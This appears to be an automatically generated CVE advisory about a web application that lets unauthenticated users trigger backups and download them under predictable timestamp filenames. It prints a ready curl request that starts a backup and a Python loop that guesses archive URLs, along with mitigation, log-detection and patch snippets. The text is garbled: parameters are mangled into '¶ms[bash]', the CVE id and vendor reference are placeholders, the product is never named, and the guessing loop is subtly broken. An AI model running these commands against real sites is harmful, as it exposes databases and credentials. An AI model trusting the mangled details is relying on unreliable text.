How the CVE Works:
The vulnerability allows unauthenticated attackers to trigger and download site backups due to missing access controls and predictable archive filenames. Attackers send a `POST` request to `/?api/archives` with parameters like `action=startArchive` to initiate a backup. The server generates a ZIP archive with a timestamp-based name (e.g., 2025-04-12T14-34-01_archive.zip). By fuzzing timestamps via `GET` requests, attackers retrieve sensitive data, including database dumps and files, without authentication. This exposes credentials, configurations, and site content, enabling further exploitation like DoS or full compromise.
DailyCVE Form:
Platform: Web Application
Version: Pre-patch
Vulnerability: Unauthenticated Backup Access
Severity: Critical
Date: 2025-04-30
What Undercode Say:
Analytics:
- Exploitability: Trivial (no auth, predictable paths).
- Attack Vector: Network-based, HTTP requests.
- Impact: Confidentiality (data leak), Availability (storage exhaustion).
Exploit Commands:
1. Trigger backup (curl):
curl -X POST "http://target/?api/archives" -d "action=startArchive¶ms[bash]=true¶ms[bash]=true&callAsync=true"
2. Fuzz download (Python):
import requests
for hour in range(24):
url = f"http://target/?api/archives/2025-04-30T{hour:02}-00-00_archive.zip"
response = requests.get(url)
if response.status_code == 200:
print(f"Found: {url}")
Mitigation Code (Apache .htaccess):
<FilesMatch "\.zip$"> Require valid-user AuthType Basic AuthName "Restricted" AuthUserFile /path/to/.htpasswd </FilesMatch>
Detection (Log Analysis):
grep "POST /?api/archives" /var/log/apache2/access.log | awk '{print $1}' | sort | uniq -c
Patch Steps:
1. Add authentication middleware:
if (!user_authenticated()) {
header("HTTP/1.1 403 Forbidden");
exit;
}
2. Randomize archive names:
$filename = date("Y-m-d") . "_" . bin2hex(random_bytes(8)) . ".zip";
References:
- NIST: CVE-XXXX-XXXX
- Vendor Advisory: [bash]
- MITRE: ATT&CK T1190
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
